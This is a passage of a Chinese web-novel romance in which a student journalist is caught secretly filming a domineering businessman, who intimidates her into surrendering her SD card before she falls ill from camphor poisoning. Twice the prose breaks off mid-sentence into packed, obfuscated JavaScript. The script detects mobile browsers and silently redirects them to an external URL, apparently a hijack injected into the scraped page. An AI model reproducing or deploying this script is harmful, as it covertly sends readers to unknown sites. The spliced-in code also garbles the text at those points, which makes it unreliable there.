她不敢再往上看,没什么底气地加了句:“是我先进来的。” 希望沈序秋能讲点道理。 保镖仔细检查了一下相机里的视频和相册,都是些记录生活和采访的视频,便把相机交给沈序秋。 沈序秋整个人都陷进沙发椅,低眉翻了一会。 似觉得意兴阑珊,将相机放回桌面。 点燃一支烟,不紧不慢地抽,隔着薄薄白色烟雾,那双狭长冷薄的黑眸不带情绪地睨她。 少女一直垂着脑袋,浓密的睫毛挡住了眼里的思绪。 她总是这样,看见他就跟蜗牛似的缩着。 越是乖顺柔软,越是让人想摧毁。 这样想也就这样做了。 沈序秋后背离开真皮沙发椅,放下二郎腿,准确无误地掐住她的下巴。 “两个月不见,胆子肥了。” 他嗓音嘶哑,淡淡的颗粒感似在荒野沙漠滚了滚。 3. 小叔 会客厅很静,只有中央空调发出运转的细微声响,在静谧的空间里连呼吸声都被无限放大。 明亮的水晶灯光将少女的黑发映照得丝滑如海藻,扬起的白嫩脖颈隐隐可见皮肤底下的青色血管,脆弱又美丽。 池绿懵然过后是屏息,一张令她胆怯害怕的俊脸骤然出现在眼前。 这无法预测的情节让她心跳滞止了几秒,背脊挺直,拖地的粉色裙摆绽开成花。 对上他黑深不见底的眸后,又慌张垂下睫毛。 “哑巴了?” 稍微用力一掐,她脸颊鼓起,像河豚。 在她下巴的手指均匀修长且骨节分明,手背上的青筋错落有致分散开。 沈序秋的手不冰,却仿佛刀刃,贴得她身体发寒。 不得不掀开眼皮直面他,声音细细弱弱:“没哑巴,我胆子不肥,我胆子疼。” 像有尖锐的牙齿在疯狂绞着她的肚子内壁肉,疼得她胡言乱语,意识到说错了:“不是,我肚子疼。” 她毫不思索地喊:“小叔。” “我想先叫个救护车。” 她脸色苍白地解释道:“我要是死在这里,酒店就不值钱就成鬼屋了。” 偌大的房间一共四个人,只有保镖一脸懵逼。他听见了什么? 小叔? 沈董事是有个侄女,但不是长这样啊。他刚刚还凶巴巴推了她一把,老天奶,他有眼无珠,两眼一闭,不知道这份工还能不能保住。 “躲在房间偷拍时怎么肚子不疼不需要救护车?看见我就肚子疼,我是耗子药?” 沈序秋不仅没松手,反而加了力度。她肌肤清爽,没有脂粉感,水弹捏着挺舒服。 屋里开了暖气,她披了件跟粉色抹胸礼裙完全不搭的针织衫,按理来说应该挺保暖,她下巴摸上去却很冷,粉唇像裹了一层霜。 气色看上去是有那么点差。 但他从来不是什么善类。 凑得近,她不知喷了什么劣质香水,之前身上那股好闻淡淡的芋艿味没有了,刺鼻的浓香让人皱眉。 这让他心情更糟。 池绿没察觉到沈序秋微微皱起的眉,被他的耗子药比喻惊了一下。 “我就是因为肚子疼才离开宴会的,我想着采访完沈师兄再去医院。不是因为看见你才肚子疼。” 沈序秋闷哼出声,饶有兴致地瞧她:“池绿。” 轻飘飘的池绿两个字让本人身体打颤,每次他喊她全名准没好事。 他唇角勾着笑,笑意却未达眼底,是淬了毒的温柔:“你承认刚才躲房间偷拍了。” 池绿这才反应过来他刚刚是在试探她,大脑宕机了几秒,浓密的睫毛颤了颤:“我没有。” 她吞咽口水,手指蜷着,声音弱了几分:“你刚才不是检查相机了吗?没有拍呀……” 砰砰心跳声快要震出胸腔。 跪坐着的羊毛地毯柔软如棉,她却感觉扎得皮肤疼,他两条腿敞开在她身体两侧,垂顺的西服裤似有似无地磨蹭她的衣物。淡淡的苦艾气息如密网将她紧密包裹。 是独属他的压迫感。 他夹烟的右手垂在身侧,烟灰掉落在干净光亮的地板。 那燃烧的猩红仿佛在灼烧着她的皮肤,她忐忑不安又害怕。 沈序秋喷薄出来的气息低冷,似蛇液黏在她身上:“上一个骗我的人要吃10年牢饭。你觉得自己能超越他么?” 知道他六亲不认也见识过他的狠辣,池绿自然不会傻到和他探讨亲情,她们也没那层血缘关系,哪里有诅咒人吃牢饭的小叔。 她皱眉低声保证:“我遵纪守法肯定不会步入他的后尘。” “小叔,你是怕我录下来吗?可是你又没做什么坏事,你扎碎的是盘子又不是他的脑袋,拿刀吓唬人又不犯法……” “哦。”沈序秋打断她的话,语气懒洋洋有些苦恼:“扎碎盘子吓唬人被看见了,你说我要怎么办?” 法治社会,总不能杀人灭口。 池绿舔了舔唇,思绪混乱,顺着他最后一句话说:“你要改过自新……” 眼前的男人戏谑地笑了声,让口出狂言的池绿十分后悔,连忙把“吗?”字补上。 无论对与错,向来只有别人改过自新的份,哪里轮得到别人教育他。 “也不用改过自新。”她头皮发麻地找补,低声一个字一个字往外蹦:“你贿赂我几百块也行……” 说出来自己都不敢相信地脸红了。 她在说什么? 她到底在说什么。 脑子怎么离家出走了。 她想装晕。 沈序秋果然被气笑了,抬头问蒋霖和保镖:“你们看我像是在开玩笑吗?” 保镖不清楚情况有些懵逼,只觉得这小侄女好像很怕沈序秋,从俩人谈话可以知道他们的关系并没有那么乐观,他的工作应该可以保住。 蒋霖面无表情,他知道沈序秋小时候养在池家受了很多罪,因此不喜欢池家所有人,当然也包括池绿。 不然也不会在今年8月份驱车前往浮邻县,把池家搅得天翻地覆。 池爷爷被气得进医院,原本就停滞不前的池家产业更是被商联压制。 沈序秋是商会会长,话语权摆在那,一句话就能让池家的生意陷入危机,何况池家那工厂本来就摇摇欲坠。 而池绿父亲忌惮沈序秋的财势,就连沈序秋翘着二郎腿喝着茶随口说:“我没养过女儿,想养一个来玩玩”,也能差点摁着池绿的脑袋当场认他做干爸。 池绿那会刚高考完,还没经历社会的毒打也不知人心险恶,脑回路清奇的同时还肆无忌惮:“小叔,你要不去福利院领养一个三四岁的幼儿?我都18岁了,养不熟的。” 沈序秋当时也是觉得好笑。 他倒没真想养女儿,顺势说:“家里缺个保姆,我看你端茶倒水挺擅长。” 话都说到这个份上,池绿父亲立马接上:“她笨手笨脚的,你不嫌弃就行。” 池绿后知后觉她们在说什么,有些抗议:“你们说的是我吗?我不擅长端茶倒水也不笨手笨脚呀。” 虽然没做成‘父女’,但池绿成了沈序秋随叫随到的小保姆。 养女儿他不会,差遣保姆他还不会吗,十分得心应手。 小女孩的天真和大胆在堪比豺狼虎豹的沈序秋手底下不过半年时间,就渐渐消散收敛。 夹着小尾巴唯唯诺诺做人。 小小一个,背脊挺得直直地坐在地毯,沈序秋被衬得高大颀长。 蒋霖收回目光。 沈序秋在商场再怎么狠辣果决,再怎么恨透池绿的爷爷,也不会没品到对小女孩赶尽杀绝。 何况这个年纪的女孩心思太清澈,脑子里想的什么都无需动脑筋就能看透。 “是我在开玩笑呢,我不玩抽象了。”池绿艰难道:“我嘴巴很严,不会到处乱说的。” 她的胃部很不舒服,总感觉有异物在身体里翻江倒海,直逼喉咙,偏偏沈序秋又掐着她的下巴,她怕自己会吐他身上,到时候一点也不怀疑他会让她把呕吐物吃掉。 “小叔,我再不去医院就要yue了。” 双手握住沈序秋掐着她下巴的手腕。以此提醒他别再捏她的下巴了。 不是说捏得太疼,是她想去医院。 后知后觉她摸到一根细圆圈,是沈序秋戴在腕骨处的红丝绳。 夏天的时候,她见过好几次,红绳的年头有些久了,红色不是很鲜艳,有点陈旧泛白。 初高中,班里很多女生都会编织红丝绳送给男朋友,当情侣信物。 看上去廉价普遍的红绳跟沈序秋实在不搭,像是读书时期的白月光亲自给他编织的,所以舍不得摘下。 “松手。” 沈序秋神思漠然,命令平缓语气隐隐带着愠气。 “脏了。” 声音不大,语气也不重,池绿还是被吓得肩膀哆嗦了一下,立马松开手的同时顺势挣脱他的手。 没有了支撑点,上半身像洋牡丹花枝弯了下来,手肘压在他膝盖又即刻弹起,往后挪动后背却撞到茶几一角,疼得她皱眉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405205|168744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她皮嫩,他明明没用什么力,刚刚被掐住的地方却留下红印,白净的脸蛋多了几分楚楚动人,让人想把红印抹掉。 沈序秋随手将烟摁灭在烟蒂收回器,又翘起二郎腿,漫不经心地瞧她,姿态闲散。 他就是这样一个好没道理的人。 比如明明是他先掐着她的下巴,却理直气壮叫她松手。 池绿双手捂着疼到脸颊冒汗牙齿打颤的肚子,虚弱道:“对不起,我不是故意的。” 这段时间,她也差不多摸透沈序秋吃软不吃硬,不管心里再怎么不满意,不认为自己有错,但在他面前先道歉总是没错的。 沈序秋眯了眯眼睛,隔空冷漠地睨她:“小侄女。” 冰凉的嗓音犹如暗夜里突然敲响划破宁静的钟声,让池绿毛骨悚然。 她知道,沈序秋生气了。 他一生气就会喊她小侄女,比喊池绿更严重。 上次喊小侄女是因为她想探知一下他的良知,在他的别墅喝了过敏的鱼汤,窒息到差点休克。 他丝毫不怜香惜玉不疼爱小辈,更不顾她还在输液,掐着她的下巴,“别搭上命来考验我的亲情道德底线,我没有那玩意。” 咬牙切齿地蹦出字:“小、侄、女。” 恍然发现,他好像一直以来都很喜欢掐她下巴。 每次见面都要掐她下巴,像个暴徒。 眼下,暴徒缓慢吐字,像一个决定别人生死的绞刑判官:“偷拍不承认还碰我红绳,谁给你的胆子?” 桩桩都是事实。 一字一句仿佛巨大的冰山一角压在池绿身上,她身体像被冰冻住了,动弹不得,连呼吸也变得微弱。 他看上去很平静,池绿却感到恐慌——什么事也瞒不过他。 要是现在承认偷拍从针织衫口袋里掏出刚刚急中生智替换的SD卡,下场肯定更惨。 沈序秋冷白修长的手指有一下没一下地点在大腿。 眼前这张气色很差的脸,半个多小时以前在酒店大堂,站在沈聿初旁边可是娇嫩得很,小鸟依人的模样仿佛一对正在谈的小情侣。 缓缓想起,她是沈聿初邀请上来吃蛋糕的。 呵。 不知俩人是什么时候勾搭上的。 已经熟到可以吃生日蛋糕的地步。 黑眸扫在她脸上时格外凉薄瘆人: “嗯?沈聿初么?” “你觉得他会罩着你?” 他气势太大,像那冰山一角猛烈浮出水面露出庞然山体,池绿不知该怎么解释,直直坠入他阴凉眼底。 忽地,总统房门叮咚一声,是刷房门卡的声音。 “四叔?” 随着门打开,沈聿初的惊讶声响起:“你怎么也在这,不是要送陈远去警察局吗?” 陈远就是刚才被保安拖出去的男人。 沈序秋瞥了眼突然出现的男人,不悦地揉了揉眉心,从喉咙溢出一声嗯,“亲自送去?他还不配。” 池绿偏头,少年从门口走进来,暖色水晶灯光从头顶泻下在他身上镀上一层光芒,像闪闪发光的神。 她整个人瞬间松懈下来,眼眶有些湿润,肚子疼的。 “池绿,地上凉,你怎么不坐沙发。” 沈聿初快速过来,握住她的手臂将她扶起。她的臂没什么肉,隔着软糯的针织衫,摸上去也非常骨感。 他瞥一眼自家四叔,心里思忖着会不会是四叔不让池绿坐沙发。 按照四叔目中无人,谁也看不上的性格,这个可能性很大。他已经能想象得出四叔礼貌又不完全礼貌的口吻:“坐哪都行,除了我旁边。” 他以前就是用这句话,把爷爷安排的联姻对象气得哭啼啼。 “刚刚不小心摔了。” 池绿被扶起来才发现腿有点麻,坐在沈序秋旁边,连余光都不敢瞟过去。 她双腿规规矩矩并拢,身体的疼痛连带着嗓音也发颤:“你都安排妥了吗?现在可以采访吗?” 耳边听见沈序秋嗤了声。 池绿背脊瞬间僵硬,坐立不安。 4. 压迫 那声笑太明显,四周倏然静下。 不同于池绿装作没听见,另外三个男人不约而同看向沈序秋,只见他低眉把玩着一支烟,却没点燃。 “不是肚子疼到在地上打滚?还能采访?” 淡淡的嗓音叙述,算不上关心。 在地上打滚? 池绿这才震惊地看向无中生有的他,他似乎感应到了她的目光,悠然掀起眼皮,漆黑的眸漠然玩味。 她鼻子一酸收回视线,她知道,他的言外之意是不许她采访沈聿初,起码今天晚上是不可以。 惹他生气是要付出代价的,这次的代价显而易见。 明明是她先进来的,凭什么他后面出现还有理说她躲在房间,还生气责罚她,好没道理。 但沈序秋就是理。 拥有权力和财富以及占据主导地位的强者制定规则,弱者讨论公平是这个世界存在的现实。 而她作为被压迫的那方,连反驳不公平的资格都没有。 她气馁地低睫,手指蜷着,起身苦涩道:“是,我想先去医院,今天先不采访了。” “抱歉,打扰你了。” “肚子疼?”沈聿初关心地说:“难怪你看上去气色不佳,我让家庭医生过来看看。” “不用麻烦了,我带了医保卡去医院很方便的。” 池绿执意要走,沈聿初不好强势勉强她留下看家庭医生,但他也有自己的坚持——要载她去医院,陪她看病。 跟着池绿出门。 总统房门关上,沈序秋将烟点燃衔进薄唇,顺手将用完的打火机扔桌面,声响清脆。 盯着紧闭的房门:“我这侄子是不是太闲了点。” 屋内只有三个人,这事不可能是问保镖,蒋霖上前一步还没来得及说话,房门又被打开。 还是被沈序秋口中太闲的侄子一脚踹开的。 沈聿初平时看着温润如玉,处理事情都十分温柔得体,是书生气浓郁的绅士儒雅翩翩公子,也是永远气场睥睨天下,阴鸷痞坏的沈序秋的对照组。 第一次见沈聿初不顾形象。 他紧张地扶着捂肚子奄奄一息的池绿,一边打电话,让家庭医生赶快过来。 扶着池绿坐回沙发,百忙之中还不忘看一眼旁边的沈序秋,挂了电话后解释池绿刚走出门口就吐了,正好家庭医生一直待命在生日宴上,比去医院更快捷方便。 少女小小一个蜷缩在沙发,侧脸靠着沙发椅,精致鹅蛋脸被长发掩了大半,浓墨蓬松的黑发里露出一小片雪白肌肤,像一幅淡雅留白的山水画卷。 沈序秋眼波微动,将烟拧了。 即使肚子像被尖刀绞着,疼得浑身发抖牙齿打颤,池绿也不得不睁开疲惫的眼睛,用吊着的一口气礼貌地说:“小叔,我实在不舒服。” 小小的声音,旁人听着有点像委屈撒娇。 瞧她泛红的眼眶,沈序秋一顿,神色温下来,嗯了声。 小叔? 沈聿初在俩人之间来回扫,不知道池绿为什么叫沈序秋小叔,转而想到他今晚当着她的面叫过沈序秋几声四叔,小女孩可能觉得叫四叔不太好听,所以叫小叔。 小叔也显得沈序秋年轻。 只是没想到池绿会跟着他喊沈序秋叔。 有一种给女友介绍家人,女友跟着他一起喊亲戚的感觉,俩人的关系似乎一下就亲近了一大步。 沈聿初耳根子莫名有些滚烫。 这副面红耳赤、手足无措的模样落入沈序秋眼里,倒是稀奇。 沈聿初长了副好皮囊,成绩优异品德好又是云维集团的贵公子,从小到大最不缺凑上来的女孩,上了大学后更是有过之无不及,身边围绕着各种富家千金、温柔学霸、知性御姐。 但他在感情这方面不像其他有钱有势的富家子弟以玩弄女人为荣耀,很洁身自好。 含着金汤匙熏染浸泡出来的少爷却没染上不务正业,奢靡挥霍的臭毛病。 女人、赌博样样不占。 至今没听说过他的恋爱绯闻,女人不停凑上来最终结果都是毫无收获,激发了更多女人的征服欲。 不过无论怎么漂亮妖媚或清纯,在沈聿初这里都一视同仁——有人情没爱情。 外界都说沈聿初是高岭之花,像难得一见的千年雪山质地澄澈,要是能掬得一捧,饮上一小口,人生无憾。 礼貌周到是他骨子里的善良底色,但像这样对一个女生紧张关心又脸红的现象还是头一回。 沈序秋轻哂。 不明白沈聿初脸红个什么劲。 不知道的还以为二十多年来第一次见女人。 声音不明显,敏感的池绿还是听见了。在她听来就是不满意她又回来了。 她咬着牙齿,屏吸,尽量降低自己的存在感,她也不是故意要回来,肚子实在疼得厉害,保命要紧。 蒋霖接了个电话,寥寥几句挂断后,提醒:“恒达董事已经在楼下等了1个小时。” 沈序秋沉默,似乎没有与人交谈和下楼见人的欲望。 须臾,薄唇轻启。 “他怎么还有腿出来蹦跶?还没跟税务局举报么?法务部干什么吃的?是要拖到过年?干不了就去财务部拿薪水走人。” 开口连续5个问句足以表明他对这事的不满。 “主要是卡在恒达那边的资金流向,财务是张董的亲戚,撕不开那个口。” 蒋霖解释。 “那就上门拜访,恒达董事都能放下身段,怎么法务部的腿长在办公室了?”沈序秋已经有些不耐:“这两天我要在新闻上听见他的消息。” 他说的是要,而不是希望。 在他看来恒达高层的丑闻和财务问题发酵上新闻是势在必得,不容有误。 他继续说: “利益面前还能有亲情?” “告诉她云维的条件。我不在乎那点钱,我只要结果。要是真不愿意,就滚去跟陈远作伴,这点小事还要我教?” 陈远之前从云维资本旗下的宇航股份带走核心技术投奔恒达,沈序秋赶在新产品上市前放出陈远背叛的证据,恒达股市一跌再跌之际,沈聿初倒还是第一次听说云维法务在收集恒达偷税漏税的证据。 安慰了两句:“缺了陈远恒达他们的芯片就是一堆垃圾,难免想来谈条件赔罪或者求你放过陈远。” 沈序秋讥讽地笑:“有什么资格讲条件。” 锐利目光略过现场唯一的女人,原本竖起耳朵的她对上他的视线后立马低头把脸钻进沙发椅背,留下一片黑发给他。 身体不舒服还有心情听八卦,胆小又爱好奇。 去做娱乐记者得了。 池绿不知道这算不算商业机密,被沈序秋的目光吓得不敢再听,怕又被掐下巴,反射性摸了摸下巴,干脆一动不动地装聋作哑。 心里默念李老师的新闻学基础定义,念到新闻本源听见沈聿初的声音。 “不过,酒店的保安系统确实有很多漏洞,真不知他是怎么上来的,趁这次好好优化一下内部管理。” 家庭医生恰好在这时过来。 问了症状,把了脉。 又细心问池绿今天都吃了什么,最后医生皱了皱鼻,说了一个让池绿差点钻地缝的事情,原来她是樟脑丸中毒,让她赶紧把那件沾有樟脑丸味的针织衫脱了。 “樟脑丸是什么?” 沈聿初金尊玉贵,衣橱里的衣服有佣人定期换新,无论纯手工定制或奢侈品高定都是只穿几次就处理掉,甚至很多新的来不及穿。 各种香水哪怕不是如数珍宝,也略懂一二,金钱堆里养出来的贵公子唯独不知道小小两颗便宜的樟脑丸,散发出的气味就能防蚊虫。 特别是花城阴雨潮湿天周期长,连续几个月阴雨连绵,很多人会放在挂有厚衣服的衣柜里防止蟑螂虫子。 虽然能防虫,但气味通过熏染的衣物渗透皮肤,轻微会头晕头痛胃疼呕吐。 池绿的行李箱里放了一小包,整整十几粒,下午打开行李箱一股刺鼻味道钻进鼻腔她也没往心里去,还穿着有气息的外套出来外面晃了几个小时。 没苦硬吃。 “你喷的香水吗?” 沈聿初问。 池绿有点窘,想装死。 太丢人了。 见过食物中毒,没见过樟脑丸中毒。 “其实我觉得味道还行, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405206|168744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但你都中毒了,既然这香味有害健康以后还是不要喷了。” 樟脑丸是沈聿初的知识盲区,以为是杂牌香水,继续挽尊。 医生忙着给池绿输液,他们的工作是行医救人,不是嘴替,特别是雇主交谈,他们一般左耳进右耳出更不会插嘴。 哪怕是樟脑丸这种他们知道的东西。 “樟脑丸不是香水,是一种能驱虫的东西。”池绿无力地解释。 沈聿初疑惑地用手机百度樟脑丸。 浏览完后目光从百度百科移向池绿,她似乎被熏得头晕脑胀的,皱着鼻子脱下难闻的针织衫,雪白的肩光滑如玉单薄似纱。 他不动痕迹地别开视线,无中生有地清咳两声,打电话吩咐人送衣物过来。 “你撇下宴会上的人已经半个小时了。”沈序秋开口,似一个教晚辈为人处事的长辈:“生日主角消失那么久,合理么。” 言外之意很明显。 四叔说的话,沈聿初向来不会反驳并且会认真执行,不仅因为亲情,更多的是他心里很崇拜四叔,半路杀出来的小镇少年却在短短几年把云维带上新高度成为商界传奇。 他慕强。 跟池绿解释又嘱咐了两句,等点滴打完了再送她回学校。 池绿礼貌婉拒:“沈师兄不用客气,我打车或者坐地铁回学校都很方便,今天给你添麻烦了。我改天有空请你吃饭。” 少女脸色很苍白,泛白的唇像裹了层霜,更衬得那双桃花眼乌黑净亮又孱弱,沈聿初被这双眼睛看得口舌干燥,有些微微动容。 “不麻烦。” 他看了四叔一眼,欲言又止。本来想叫四叔照顾一下池绿,但四叔从不近女色,长得帅气质却阴沉沉,说话也随心所欲,不顾他人死活,只怕会把人吓跑。 “想说什么?” 他一个眼神,沈序秋就知道他心里有事。 “没事。那我先回宴会。” 沈聿初和家庭医生、保镖一块离开了。 池绿知道沈序秋是故意支开沈聿初。 头顶的透明液体顺着针管一路往下,冰冰凉凉的水流进手背,火速蹿遍全身。 她浑身细胞被冷液浸裹,微微颤抖。 “自己交出来,还是我搜啊?” 缓缓的嗓音低沉柔和,看似商量却威慑力十足。 池绿紧紧攥着脱下的针织衫,抬头看向沈序秋:“什么呀?” 空气陷入阒静,沈序秋不说话了,目光紧紧贴着她的脸。 看得她心里发麻,可是她知道,心里再怎么害怕也不能露怯,更不能承认被替换的SD卡在针织衫口袋。 沈序秋最讨厌被人欺骗。 她既然装了,就要装到底。 针织衫里的SD卡又是棘手的。 不过他好像讨厌碰她和她的东西,应该不会搜。 除了捏她的下巴。 可能因为这个动作能彰显他身居高位,掌控一切。 正当她惴惴不安时听见沈序秋不紧不慢地问。 “蒋霖,池志安是不是还躺在浮邻县人民医院住院部脑科7楼701。” “对。”蒋霖补充道:“池盛泽昨天还交了5000块住院费。” 池绿眼瞳惊讶——沈序秋一直关注着她家人的一举一动。 就连爷爷两个星期前脑中风后还躺在医院,爸爸交了多少住院费都一清二楚。 池绿有一种被人捏住后颈的窒息感,沈序秋甚至不用动手,只要动动嘴就能让她缴械投降。 看似不经意提起,却是在告诉她,他掌握着她全家的信息。 到底年纪小经不住抗,又关系到最爱的家人,她立马失了理智,慌慌张张从针织衫口袋掏出一枚小小的SD卡递给沈序秋。 身体往他那里挪,头顶的药水瓶因拉扯哐当响了几声,击得她心脏要破裂。 “在这在这……” 冷光落在沈序秋面无表情的硬挺俊脸。 他没接,双手环胸瞧她发白的脸。 仿佛在看被射中的猎物,冷眼旁观它汨汨流血。 两人无声对峙。 池绿咬唇,毛骨悚然过后是冷汗涔涔。 5. 纯情 SD卡里的视频对于沈序秋来说并不重要,就算曝光了也掀不起什么大风大浪。 但他不喜被人一而再再而三欺骗。 要么第一次就老老实实交待,要么就要咬紧牙关,死也不承认。 可她偏偏是个一吓就破胆的清澈小姑娘。 在他面前又怂又倔。 小小的脑袋越来越低,跟小兔子耷拉的耳朵似的。清透的眼睛也矮矮地垂下,像是罚站被正午十二点的太阳晒焉了。 菜又爱玩。 沈序秋睨了眼她双手奉上的SD卡。 抬起手,在半空中即将碰到她时,她感应到本能地缩了下肩膀,单薄如雪的双肩仿佛一折就碎,乌黑的睫毛止不住地颤。 这是一种害怕挨打的条件反射性动作。 他顿住,虚眯了眼缝,眼里起了一层捉摸不透的雾。 停在半空的手还是扣住了她的后脑勺,将她稍微往身前拉,柔顺的黑色头发丝毛绒地扫着他的白衬衫。 她全身紧绷僵硬着,咬着唇,像是赴死的战士被敌方头目抓住宁死不屈。 他柔和地揉揉她的头发,顺着后脑勺轻轻捏住她冰冷的左边耳垂。 她紧张地缩着肩,不敢动弹。 小时候隔壁的阿姨教育不听话的小孩就爱扯耳朵,没想到自己十八岁了还要被扯耳朵。 头顶听见他温声问:“怎么就非得我提那个老东西的名字才听话呢。” 他说的老东西是池爷爷。 她眼皮发烫,没应话,心里反驳爷爷才不是老东西。 他的动作明明很轻,池绿却感觉耳垂要被他带有薄茧的指腹撕裂了。 这般柔情蜜意的动作叫她无所适从,还不如直接发疯扯她。 但他不会做这么粗暴的事情,他擅长用温柔的一面一点点突破你的心理防线。 “还会有下次么?” 冰冷的耳朵被他揉得起了温度,池绿细细摇头。 沈序秋视线贴着她,“说话啊,刚才不是挺能说的。” 语气明明温柔缓慢却很是咄咄逼人。 池绿声音有些抖:“没有下次了。” 沈序秋轻哂,略满意地松开她。 瞧她泛红如鸽子血的耳垂。 跟切成薄片的红鲷鱼刺身很像,晶莹剔透,雪白夹粉。 想尝一尝,他眼底涌起暗色。 池绿松了口气,像终于打完了仗,力气都被抽走了,身体软趴趴,抬头小心翼翼地问:“那这个……” 沈序秋收回目光,依旧晾着她手里的东西。 是旁边的蒋霖过来拿起SD卡。 池绿见是蒋霖,试探着问:“删掉视频后,SD卡可以还给我吗?里面有拍的作业。” SD卡不贵,五六十块。 但家里现在需要用到钱的地方很多,能节省一点是一点。 最重要的是里面还有刚才宴会上千金付厘要花八千买断的沈序秋视频。 即将到手的钱不能就这样不翼而飞了。 嘴是她的,她得努力争取一下。 蒋霖没说话。 他又做不了主,只用余光瞥向沈序秋。 池绿明白蒋霖的示意。 但是沈序秋才被她骗,别说SD了,如果不是在法制社会,行为受法律约束,她一点也不怀疑他会把她手撕了,而不是揉她脑袋捏她耳垂。 喉咙仿佛被灌了几杯柠檬汁,强烈的酸酸涩涩感令她扯不开喉咙。 只能真挚又诚恳地望着他。 他眼皮掀了些许弧度,眼瞳是一贯的沉,唇角却勾起笑,淬了毒的温柔悬浮于表面。 从沙发上起来,径直走向门口,说:“不是爱拍么?重新拍。” 池绿抿唇。 本来就惹毛了沈序秋,她不敢反驳,更不敢跟上去央求什么,也不可能像陈远抱着他大腿哀求。 再惹他生气,后果就不是揉脑袋那么简单了吧。 蒋霖临走前说:“既然身体不舒服就好好休息。今晚不用去星月湾了。” 随着房门啪嗒关上,偌大的会客厅只剩下她一人,静得能听见吊瓶点滴掉落的声音。 她抚摸刚刚被沈序秋揉过的耳根,皮肤仿佛还有他的温度。 心里骂他变态。 骂完后反思自己这双手,为什么要偷拍,为什么要在被发现后想到偷换SD卡,为什么他第一次让她交出SD卡时要装清白。 她当时没考虑太多,只是想留着这段视频,说不定有一天会有用呢。 但,没有人能玩得过沈序秋。 除非他不想跟你玩。 像搁浅在沙滩的鱼,池绿虚脱到没力气,这时门口又有动静,她猛地回头看去。 一颗突然吊起的心又放回原位。 是刚才给她送礼服的工作人员,陆陆续续进来了5个。 她们推着挂衣架,一人负责一排外套、衣服,裤子、裙子,甚至连贴身内衣、内裤都分别有一排。 沈聿初是把楼下那些奢侈品店都盘下来了吗? “沈聿初少爷说不知道你喜欢穿什么,所以我们多准备了一些……” SA要给池绿介绍,池绿及时阻止:“给我那件卡其色的大衣就行了,其他不需要,谢谢。” 女生满腹才华无处施展,沈少爷说过全听这位池小姐的安排,既然池小姐舒速战速决,那她也只能先退下。 池绿披上开司米大衣取暖,中毒后脑袋晕沉沉,有点眼花,打吊瓶药效快,但也需要时间。 手机屏幕亮了。 是周存希发来消息。 希希不嘻嘻:【采访完了吗?顺利吗?怎么还没回来呀?是跟沈师兄一起吃宵夜吗?】 【狗狗祟祟gif】 今天是白忙活还中毒难受的一天。 池绿有些气馁,晕沉沉地蜷缩着,抱着膝盖,全身重力全陷入椅背,粉色裙摆如花绽放。 粉裙设计好看,但材质并不是很好,这种高定主打款式和品牌。 披在椅子上的面料质地垂顺,周存希再次摸了摸,不敢置信地感叹:“这就是女明星走红毯同款礼服吗?几百万的高定摸起来质感一般般嘛。” 池绿回宿舍后立马洗了个热水澡,原本冰凉凉的血液舒畅流通了不少,坐在椅子上涂抹乳液和面霜。 池绿以前的家庭情况算中产,买得起几万块的衣服,但妈妈一直觉得小孩在长身体,衣服不需要太贵,初三闹着妈妈买了一件很喜欢的羽绒服,一万多穿了好几年,现在还能穿,叠好放在行李箱里等冬天。 自从周存希说这裙子是某个女明星走红毯同款后,她又后悔当时为了采访跟上去。 她知道贵,但没想到价值百万。 “宝宝别气馁!虽然你没有采访到沈师兄,但你好歹也是穿过百万高定的女人了!学业和体验生活,不可能两全齐美嘛。” 周存希安慰道。 池绿身上还有樟脑丸中毒的有气无力后遗症:“百万高定又不能给我加学分。” 她只觉得这礼裙和大衣棘手。 这样的贵重物品她穿过一次就不值钱了,也不知还回去沈聿初会不会嫌弃。 无论会不会嫌弃都是要还回去的。 她打开微信,点开沈聿初的聊天对话框。 离开酒店时答应了到学校会跟他说一声,回来后忙着洗澡,这会看到沈聿初20分钟前问她到宿舍了没。 池绿:【我到宿舍了,裙子和外套我洗干净后还你,给你添麻烦了。】 沈聿初很快就回复。 【不用还,我身边也没女生可以穿这些,就当赔罪了,你在酒店大堂被我请来的客人泼了一身水。】 被泼水又不是他的错。 也不是她的错,是女博主的原因。他无非是找一个理由让她可以心安理得不还衣服罢了。 穿过的是不好还。 他拒绝还,她也不好硬塞过去。 她不想又给他造成困扰。 想了想,回复。 【这样吧,我问问我室友,能不能把裙子拿去她亲戚家开的高定礼服店,每租出去一次钱转给你。】 唯一一个不住宿舍的千金大小姐庄意柔跟她们说过她亲戚开了高定礼服店,很多网红参加活动晚宴不想买礼服都会去店里租售,据说租一次最少800。 沈聿初不在意这点钱,但这是她应该做的。 池绿发现左上角,反反复复显示对方正在输入。 过了一会,他引用上面那句:【每租出去一次,你请我吃东西喝奶茶就行了。】 池绿没在这事上跟他纠缠:【好呀,到时候请你吃。】 【企鹅溜冰gif】 跟沈聿初聊完,池绿立马给池盛泽打电话,那边响了很久才接。 “喂,是姐姐吗?” 稚嫩的童音甜甜的,池绿立马喜笑颜开,声音也不由自主地温柔清甜:“蓝蓝,怎么是你接的电话呀?爸爸呢?” “爸爸好像又喝醉了。”池蓝有些苦恼,无奈地哎了一声。 听到池盛泽又喝酒,池绿拧眉,自从四年前妈妈生池蓝时羊水栓塞没抢救过来,池盛泽就整日用酒精麻痹自己,工作家庭全部都不理,每天浑浑噩噩。 池绿当年读初三,本来已经考上了市里最好的高中,为了有时间照顾池蓝,继续留在浮邻中学做走读生。 